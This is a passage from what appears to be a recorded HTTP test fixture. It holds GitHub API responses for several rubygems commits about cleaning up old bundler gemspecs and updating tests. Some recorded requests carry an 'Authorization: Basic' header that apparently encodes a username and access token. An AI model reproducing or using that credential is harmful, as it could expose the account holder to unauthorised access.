Bot","email":"bot@bundler.io","date":"2017-12-23T01:39:39Z"},"message":"Auto merge of #2124 - rubygems:fix-updater-with-rubygems, r=hsbt\n\nFix updater with rubygems\n\nFixes https://github.com/rubygems/rubygems/issues/2123","tree":{"sha":"84fbe6a115a0e2ed5d2c357cc781e3b71917776c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/84fbe6a115a0e2ed5d2c357cc781e3b71917776c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ed508f24cf89df355ecd8f0144b460b82b0c81fd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ed508f24cf89df355ecd8f0144b460b82b0c81fd","html_url":"https://github.com/rubygems/rubygems/commit/ed508f24cf89df355ecd8f0144b460b82b0c81fd","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ed508f24cf89df355ecd8f0144b460b82b0c81fd/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc","url":"https://api.github.com/repos/rubygems/rubygems/commits/e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc","html_url":"https://github.com/rubygems/rubygems/commit/e4f48ff31a1a353f91ad691dd135d4a6cbc0c3fc"},{"sha":"0103a254cb3c515cb22ac36f112723f37d463167","url":"https://api.github.com/repos/rubygems/rubygems/commits/0103a254cb3c515cb22ac36f112723f37d463167","html_url":"https://github.com/rubygems/rubygems/commit/0103a254cb3c515cb22ac36f112723f37d463167"}],"stats":{"total":38,"additions":32,"deletions":6},"files":[{"sha":"a2c99466562e90efcc05eb9db9920a49729d786e","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":10,"deletions":1,"changes":11,"blob_url":"https://github.com/rubygems/rubygems/blob/ed508f24cf89df355ecd8f0144b460b82b0c81fd/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ed508f24cf89df355ecd8f0144b460b82b0c81fd/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=ed508f24cf89df355ecd8f0144b460b82b0c81fd","patch":"@@ -359,6 +359,8 @@ def install_default_bundler_gem\n bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n bundler_spec.files = Dir.chdir(\"bundler\") { Dir[\"{*.md,{lib,exe,man}/**/*}\"] }\n bundler_spec.executables -= %w[bundler bundle_ruby]\n+\n+ # Remove bundler-*.gemspec in default specification directory.\n Dir.entries(Gem::Specification.default_specifications_dir).\n select {|gs| gs.start_with?(\"bundler-\") }.\n each {|gs| File.delete(File.join(Gem::Specification.default_specifications_dir, gs)) }\n@@ -368,9 +370,16 @@ def install_default_bundler_gem\n \n bundler_spec = Gem::Specification.load(default_spec_path)\n \n+ # Remove gemspec that was same version of vendored bundler.\n+ normal_gemspec = File.join(Gem.default_dir, \"specifications\", \"bundler-#{bundler_spec.version}.gemspec\")\n+ if File.file? normal_gemspec\n+ File.delete normal_gemspec\n+ end\n+\n+ # Remove gem files that were same version of vendored bundler.\n if File.directory? bundler_spec.gems_dir\n Dir.entries(bundler_spec.gems_dir).\n- select {|default_gem| File.basename(default_gem).match(/^bundler-#{Gem::Version::VERSION_PATTERN}$/) }.\n+ select {|default_gem| File.basename(default_gem) == \"bundler-#{bundler_spec.version}\" }.\n each {|default_gem| rm_r File.join(bundler_spec.gems_dir, default_gem) }\n end\n "},{"sha":"5e79f35e55516928f6dea16c1bf9b98c84f02df4","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":22,"deletions":5,"changes":27,"blob_url":"https://github.com/rubygems/rubygems/blob/ed508f24cf89df355ecd8f0144b460b82b0c81fd/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ed508f24cf89df355ecd8f0144b460b82b0c81fd/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=ed508f24cf89df355ecd8f0144b460b82b0c81fd","patch":"@@ -6,7 +6,7 @@\n \n class TestGemCommandsSetupCommand < Gem::TestCase\n \n- BUNDLER_VERS = `gem list -e bundler`[/([^() ]+)\\)\\Z/, 1] || \"1.16.0\"\n+ BUNDLER_VERS = `gem list -e bundler`[/([^() ]+)\\)\\Z/, 1] || \"1.16.1\"\n \n def setup\n super\n@@ -43,10 +43,15 @@ def setup\n end\n \n open(File.join(Gem::Specification.default_specifications_dir, \"bundler-1.15.4.gemspec\"), ''w'') do |io|\n- io.puts ''# bundler''\n+ io.puts ''# bundler-1.15.4''\n end\n \n FileUtils.mkdir_p File.join(Gem.default_dir, \"specifications\")\n+\n+ open(File.join(Gem.default_dir, \"specifications\", \"bundler-#{BUNDLER_VERS}.gemspec\"), ''w'') do |io|\n+ io.puts ''# bundler-1.16.1''\n+ end\n+\n open(File.join(Gem.default_dir, \"specifications\", \"bundler-audit-1.0.0.gemspec\"), ''w'') do |io|\n io.puts ''# bundler-audit''\n end\n@@ -135,13 +140,25 @@ def test_install_default_bundler_gem\n \n default_dir = Gem::Specification.default_specifications_dir\n \n+ # expect to remove other versions of bundler gemspecs on default specification directory.\n refute_path_exists File.join(default_dir, \"bundler-1.15.4.gemspec\")\n- refute_path_exists ''default/gems/bundler-1.15.4''\n-\n assert_path_exists File.join(default_dir, \"bundler-#{BUNDLER_VERS}.gemspec\")\n- assert_path_exists \"default/gems/bundler-#{BUNDLER_VERS}\"\n \n+ # expect to not remove bundler-* gemspecs.\n assert_path_exists File.join(Gem.default_dir, \"specifications\", \"bundler-audit-1.0.0.gemspec\")\n+\n+ # expect to remove normal gem that was same version. because it''s promoted default gems.\n+ refute_path_exists File.join(Gem.default_dir, \"specifications\", \"bundler-#{BUNDLER_VERS}.gemspec\")\n+\n+ # expect to install default gems. It location was `site_ruby` direcotry on real world.\n+ assert_path_exists \"default/gems/bundler-#{BUNDLER_VERS}\"\n+\n+ # expect to not remove other versions of bundler on `site_ruby`\n+ assert_path_exists ''default/gems/bundler-1.15.4''\n+\n+ # TODO: We need to assert to remove same version of bundler on gem_dir direcotry(It''s not site_ruby dir)\n+\n+ # expect to not remove bundler-* direcotyr.\n assert_path_exists ''default/gems/bundler-audit-1.0.0''\n end if Gem::USE_BUNDLER_FOR_GEMDEPS\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:41 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/0103a254cb3c515cb22ac36f112723f37d463167 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:41 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4578' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"f0561c9078a9bc7e9c9ce5f5fce40e17" Last-Modified: - Fri, 22 Dec 2017 12:56:29 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.049008' X-Github-Request-Id: - C47A:4D96:971454:13A3362:5A50E45D body: encoding: ASCII-8BIT string: '{"sha":"0103a254cb3c515cb22ac36f112723f37d463167","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T12:56:29Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T12:56:29Z"},"message":"Remove needless Regex matcher","tree":{"sha":"84fbe6a115a0e2ed5d2c357cc781e3b71917776c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/84fbe6a115a0e2ed5d2c357cc781e3b71917776c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/0103a254cb3c515cb22ac36f112723f37d463167","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlo9AP0ACgkQ+c8TQXJk\n+sKohAgAvcZflyCPDah1Gw7wgziTnx3Sva6obzH20TaRt3yVI9EzZC+j38N38Syz\n9qTyBFRRkQHaw+9HU2aOAxolEyKmVJRF5rfwjg2cOK5ev+v8yfupYfyWJVAqSGtI\nJCvjeWPtRxoHiJVJP/O/4kuivp5tIESvYit7iwNXAJ989mt5KkKU6zQS/BizMnON\nFIecv24APP4XOFeMYRDmdgxqN6keIaXTItK1yajDejFZMSr7hvjkmTLLCo7lkKqB\n0YMhVjnN8Y5ZxtNpbOvMxUdtOVzxnHpwxIWgBcV+oqD/d5Ej+45vLr5tptVPUG2U\n/gLtGchiXdxRoU4tjZjBMXGnRBXEcA==\n=05cz\n-----END PGP SIGNATURE-----","payload":"tree 84fbe6a115a0e2ed5d2c357cc781e3b71917776c\nparent d64cb96e5034c809127ad9351f7df3b85356b189\nauthor SHIBATA Hiroshi 1513947389 +0900\ncommitter SHIBATA Hiroshi 1513947389 +0900\n\nRemove needless Regex matcher\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/0103a254cb3c515cb22ac36f112723f37d463167","html_url":"https://github.com/rubygems/rubygems/commit/0103a254cb3c515cb22ac36f112723f37d463167","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/0103a254cb3c515cb22ac36f112723f37d463167/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"d64cb96e5034c809127ad9351f7df3b85356b189","url":"https://api.github.com/repos/rubygems/rubygems/commits/d64cb96e5034c809127ad9351f7df3b85356b189","html_url":"https://github.com/rubygems/rubygems/commit/d64cb96e5034c809127ad9351f7df3b85356b189"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"a2c99466562e90efcc05eb9db9920a49729d786e","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/0103a254cb3c515cb22ac36f112723f37d463167/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/0103a254cb3c515cb22ac36f112723f37d463167/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=0103a254cb3c515cb22ac36f112723f37d463167","patch":"@@ -379,7 +379,7 @@ def install_default_bundler_gem\n # Remove gem files that were same version of vendored bundler.\n if File.directory? bundler_spec.gems_dir\n Dir.entries(bundler_spec.gems_dir).\n- select {|default_gem| File.basename(default_gem).match(/^bundler-#{bundler_spec.version}$/) }.\n+ select {|default_gem| File.basename(default_gem) == \"bundler-#{bundler_spec.version}\" }.\n each {|default_gem| rm_r File.join(bundler_spec.gems_dir, default_gem) }\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:42 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/d64cb96e5034c809127ad9351f7df3b85356b189 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:42 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4577' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"24a817ba6d22d551eaa444e9c5c83c90" Last-Modified: - Fri, 22 Dec 2017 12:45:10 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.046673' X-Github-Request-Id: - C47C:4D95:F47A5C:1C82FDB:5A50E45E body: encoding: ASCII-8BIT string: '{"sha":"d64cb96e5034c809127ad9351f7df3b85356b189","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T12:45:10Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T12:45:10Z"},"message":"Added comments for test scenario.","tree":{"sha":"cec11973e636dee14b3f8aa533aff2f853789d78","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/cec11973e636dee14b3f8aa533aff2f853789d78"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d64cb96e5034c809127ad9351f7df3b85356b189","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlo8/lYACgkQ+c8TQXJk\n+sJlLAf9EvJg4R88lWXZgxgDftmFKU5/20P0Tud4qj8gMPECvyN6s/R9XmNKI5bS\nWmaU2YvmlAEFQ+oIcKB8JxoyBxxvd4TWuHQKzHTCIMeeDgQCLizEPcH622xn+QEC\nE3rsffTzJ+GVc9qrj+2UCbxjtdIk9wCRHutFyGpOrJpQ568Tqp8kAgR6WhsotFy5\nupAeg2lIKM+zINsMwhLOoHFU4T5D3TEFZUzDWNBbqL6gapOZnDDMzsG8Cw/WK+xi\nldqW+VKznlovV0ESJu4wN39XO5x6Zc3zfY/GLsTNmYPqeY3x8VwxCdRvxG0s4I7n\nu4ip6nX7Wl37xuP7YL3bHSiAISTeZw==\n=ajzr\n-----END PGP SIGNATURE-----","payload":"tree cec11973e636dee14b3f8aa533aff2f853789d78\nparent db00478d2103abeb453acace5e8bc4fa584254d2\nauthor SHIBATA Hiroshi 1513946710 +0900\ncommitter SHIBATA Hiroshi 1513946710 +0900\n\nAdded comments for test scenario.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d64cb96e5034c809127ad9351f7df3b85356b189","html_url":"https://github.com/rubygems/rubygems/commit/d64cb96e5034c809127ad9351f7df3b85356b189","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d64cb96e5034c809127ad9351f7df3b85356b189/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"db00478d2103abeb453acace5e8bc4fa584254d2","url":"https://api.github.com/repos/rubygems/rubygems/commits/db00478d2103abeb453acace5e8bc4fa584254d2","html_url":"https://github.com/rubygems/rubygems/commit/db00478d2103abeb453acace5e8bc4fa584254d2"}],"stats":{"total":17,"additions":14,"deletions":3},"files":[{"sha":"5e79f35e55516928f6dea16c1bf9b98c84f02df4","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":14,"deletions":3,"changes":17,"blob_url":"https://github.com/rubygems/rubygems/blob/d64cb96e5034c809127ad9351f7df3b85356b189/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/d64cb96e5034c809127ad9351f7df3b85356b189/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=d64cb96e5034c809127ad9351f7df3b85356b189","patch":"@@ -140,14 +140,25 @@ def test_install_default_bundler_gem\n \n default_dir = Gem::Specification.default_specifications_dir\n \n+ # expect to remove other versions of bundler gemspecs on default specification directory.\n refute_path_exists File.join(default_dir, \"bundler-1.15.4.gemspec\")\n- assert_path_exists ''default/gems/bundler-1.15.4''\n-\n assert_path_exists File.join(default_dir, \"bundler-#{BUNDLER_VERS}.gemspec\")\n+\n+ # expect to not remove bundler-* gemspecs.\n+ assert_path_exists File.join(Gem.default_dir, \"specifications\", \"bundler-audit-1.0.0.gemspec\")\n+\n+ # expect to remove normal gem that was same version. because it''s promoted default gems.\n refute_path_exists File.join(Gem.default_dir, \"specifications\", \"bundler-#{BUNDLER_VERS}.gemspec\")\n+\n+ # expect to install default gems. It location was `site_ruby` direcotry on real world.\n assert_path_exists \"default/gems/bundler-#{BUNDLER_VERS}\"\n \n- assert_path_exists File.join(Gem.default_dir, \"specifications\", \"bundler-audit-1.0.0.gemspec\")\n+ # expect to not remove other versions of bundler on `site_ruby`\n+ assert_path_exists ''default/gems/bundler-1.15.4''\n+\n+ # TODO: We need to assert to remove same version of bundler on gem_dir direcotry(It''s not site_ruby dir)\n+\n+ # expect to not remove bundler-* direcotyr.\n assert_path_exists ''default/gems/bundler-audit-1.0.0''\n end if Gem::USE_BUNDLER_FOR_GEMDEPS\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:42 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/db00478d2103abeb453acace5e8bc4fa584254d2 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:42 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4576' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"db8ac92bad16a75b42b9f31ca69930f1" Last-Modified: - Fri, 22 Dec 2017 12:30:19 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.051640' X-Github-Request-Id: - C47E:4D96:97146D:13A3386:5A50E45E body: encoding: ASCII-8BIT string: '{"sha":"db00478d2103abeb453acace5e8bc4fa584254d2","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T12:30:19Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-22T12:30:19Z"},"message":"Bump up bundler version to 1.16.1 on test","tree":{"sha":"ab11229978939844d1c6e8b8fefcdbfb59a1c085","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ab11229978939844d1c6e8b8fefcdbfb59a1c085"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/db00478d2103abeb453acace5e8bc4fa584254d2","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlo8+tsACgkQ+c8TQXJk\n+sI7KwgAtegecc3vcqvFZOv2ObSG9jh5o3mXZHzb5DMvyEo6n51sCwAye7r3B4Gx\nMjvM6L2u6V401FxbGeO1PGixI8LVYq60PAWFb88dNlJrb7/XBeskZTgtglrSt6TK\nkMfMQHvYW4VDnZDmb/i2SD7jhOtoNLY5rKTsJ0Y8uAGVDEv6vrrupfg4QtDxXlyF\nDWQ+6txTVzWwU7vvJgjv207xveXUCnziXQ02xtlz9hSq4JGU2KLehyve2gTneicR\no2/2nCylMFzovaA3yM6c7/KHNQITM+7H8O0KQoUm+U0ga+aV7N+vrBU8hAB8nc5G\nMnf0damjlFPdXKjKUzu7XKUqnmOcSg==\n=C+Ur\n-----END PGP SIGNATURE-----","payload":"tree ab11229978939844d1c6e8b8fefcdbfb59a1c085\nparent 158056699d70a7f0fd947d9746fdbe9cc05c6497\nauthor SHIBATA Hiroshi 1513945819 +0900\ncommitter SHIBATA Hiroshi 1513945819 +0900\n\nBump up bundler version to 1.16.1 on test\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/db00478d2103abeb453acace5e8bc4fa584254d2","html_url":"https://github.com/rubygems/rubygems/commit/db00478d2103abeb453acace5e8bc4fa584254d2","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/db00478d2103abeb453acace5e8bc4fa584254d2/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"158056699d70a7f0fd947d9746fdbe9cc05c6497","url":"https://api.github.com/repos/rubygems/rubygems/commits/158056699d70a7f0fd947d9746fdbe9cc05c6497","html_url":"https://github.com/rubygems/rubygems/commit/158056699d70a7f0fd947d9746fdbe9cc05c6497"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"3b81c1e5d85767f713d38c7f8eb48cf84409f445","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/db00478d2103abeb453acace5e8bc4fa584254d2/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/db00478d2103abeb453acace5e8bc4fa584254d2/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=db00478d2103abeb453acace5e8bc4fa584254d2","patch":"@@ -6,7 +6,7 @@\n \n class TestGemCommandsSetupCommand < Gem::TestCase\n \n- BUNDLER_VERS = `gem list -e bundler`[/([^() ]+)\\)\\Z/, 1] || \"1.16.0\"\n+ BUNDLER_VERS = `gem list -e bundler`[/([^() ]+)\\)\\Z/, 1] || \"1.16.1\"\n \n def setup\n super"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:42 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/158056699d70a7f0fd947d9746fdbe9cc05c6497 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 